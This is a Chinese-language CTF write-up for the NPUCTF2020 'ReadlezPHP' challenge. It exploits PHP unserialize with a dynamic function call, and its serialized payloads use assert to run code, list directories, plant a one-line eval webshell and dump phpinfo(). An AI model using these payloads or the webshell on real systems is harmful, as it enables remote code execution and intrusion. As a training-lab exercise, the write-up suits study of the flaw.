当前位置: 首页 > news >正文

[NPUCTF2020]ReadlezPHP

从响应源码中可以看到:

<p>百万前端的NPU报时中心为您报时:<a href="./time.php?source"></a></p>
<SCRIPT language=javascript>
function runClock() {
theTime = window.setTimeout("runClock()", 100);
var today = new Date();
var display= today.toLocaleString();
window.status=""+display+"大黑阔HELEN";
}runClock();
</SCRIPT>

访问/time.php?source:

 <?php
#error_reporting(0);
class HelloPhp
{public $a;public $b;public function __construct(){$this->a = "Y-m-d h:i:s";$this->b = "date";}public function __destruct(){$a = $this->a;$b = $this->b;echo $b($a);}
}
$c = new HelloPhp;if(isset($_GET['source']))
{highlight_file(__FILE__);die(0);
}@$ppp = unserialize($_GET["data"]);2025-07-25 07:13:09

反序列化漏洞,魔术方法中$a($b)应该是函数调用吧。尝试一下:

直接就成功了。

那植入一句话木马试试:

 O:8:"HelloPhp":2:{s:1:"a";s:8:"echo 123";s:1:"b";s:4:"eval";}

访问就出错,应该是eval不能使用。哦对eval不是函数,不能用在函数动态调用。

(补充:O:8:"HelloPhp":2:{s:1:"a";s:15:"eval($_POST[0])";s:1:"b";s:6:"assert";}能植入木马)

尝试一下file_get_contents('index.php')发现直接返回首页了,为啥呢?

O:8:"HelloPhp":2:{s:1:"a";s:22:"var_dump(scandir('.'))";s:1:"b";s:6:"assert";}

assert 断言检测 用于判断一个表达式是否成立,返回true or false,会执行其中的表达式

执行结果:array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" [3]=> string(8) "time.php" } 2025-07-25 08:21:52

O:8:"HelloPhp":2:{s:1:"a";s:33:"var_dump(scandir('../../../../'))";s:1:"b";s:6:"assert";}

执行结果:

array(23) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(10) "FIag_!S_it" [4]=> string(3) "bin" [5]=> string(4) "boot" [6]=> string(3) "dev" [7]=> string(3) "etc" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc" [15]=> string(4) "root" [16]=> string(3) "run" [17]=> string(4) "sbin" [18]=> string(3) "srv" [19]=> string(3) "sys" [20]=> string(3) "tmp" [21]=> string(3) "usr" [22]=> string(3) "var" } 2025-07-25 08:23:46

没找到flag,尝试植入一句话木马:

O:8:"HelloPhp":2:{s:1:"a";s:66:"file_put_contents('shell.php','<?php @eval($_POST[0]);echo 123?>')";s:1:"b";s:6:"assert";}

可以看到成功了。但是用蚁剑连接后看不到任何文件。 手动传参发现网页直接出错了,不知道为啥。看一眼答案,flag居然通过phpinfo()看到。

O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

在Environment里面可以看到flag。

总结一下:这道题考了反序列化和动态函数调用。有几个需要注意的点,第一,eval不是函数;第二,flag可能在php配置信息中。不知道为什么这里植入一句话木马之后不能正常使用。

http://www.xdnf.cn/news/1186147.html

相关文章:

  • 基于深度学习的图像分类:使用Vision Transformer(ViT)实现高效分类
  • 【RDMA】Adapters PRM Mellanox Adapters Programmer’s Reference mellanox网卡编程手册0.52
  • Lua(数据库访问)
  • 【开发杂谈】用AI玩AI聊天游戏:使用 Electron 和 Python 开发大模型语音聊天软件
  • Web攻防-业务逻辑篇密码找回重定向目标响应包检验流程跳过回显泄露验证枚举
  • 前端核心进阶:从原理到手写Promise、防抖节流与深拷贝
  • OneCode3.0 Gallery 组件前后端映射机制:从注解配置到前端渲染的完整链路
  • [NLP]UPF+RTL联合仿真的VCS命令及UPF-aware 波形工具的使用
  • FPGA Verilog 入门语法指南
  • centos7安装docker命令
  • Scrapy
  • Qwen3-235B-A22B-Thinking-2507 - 开源思维推理模型的新标杆
  • 第二十天(正则表达式与功能实际运用)
  • VR 技术在污水处理领域的创新性应用探索​
  • STM32与ADS1220实现多通道数据采集的完整分析和源程序
  • 算法:数组part02: 209. 长度最小的子数组 +
  • SpringBoot整合Liquibase提升数据库变更的可控性、安全性、自动化程度(最详细)
  • 嵌入式学习-(李宏毅)机器学习(3)-day30
  • 图片查重从设计到实现(4)图片向量化存储-Milvus 单机版部署
  • Android悬浮窗导致其它应用黑屏问题解决办法
  • The Magic Mask for Android:解锁无限可能的安卓自定义套件
  • FT和RAG如何选择
  • win11 使用adb 获取安卓系统日志
  • freqtrade关于获取k线数量,以及显示时间的问题
  • C++中使用Essentia实现STFT/ISTFT
  • DNS 协议
  • 【unitrix】 6.15 “非零非负一“的整数类型(NonZeroNonMinusOne)特质(non_zero_non_minus_one.rs)
  • Linux parted问题:指定分区边界失效
  • 【vue vapor jsx 未雨绸缪】
  • C# 基于halcon的视觉工作流-章23-圆查找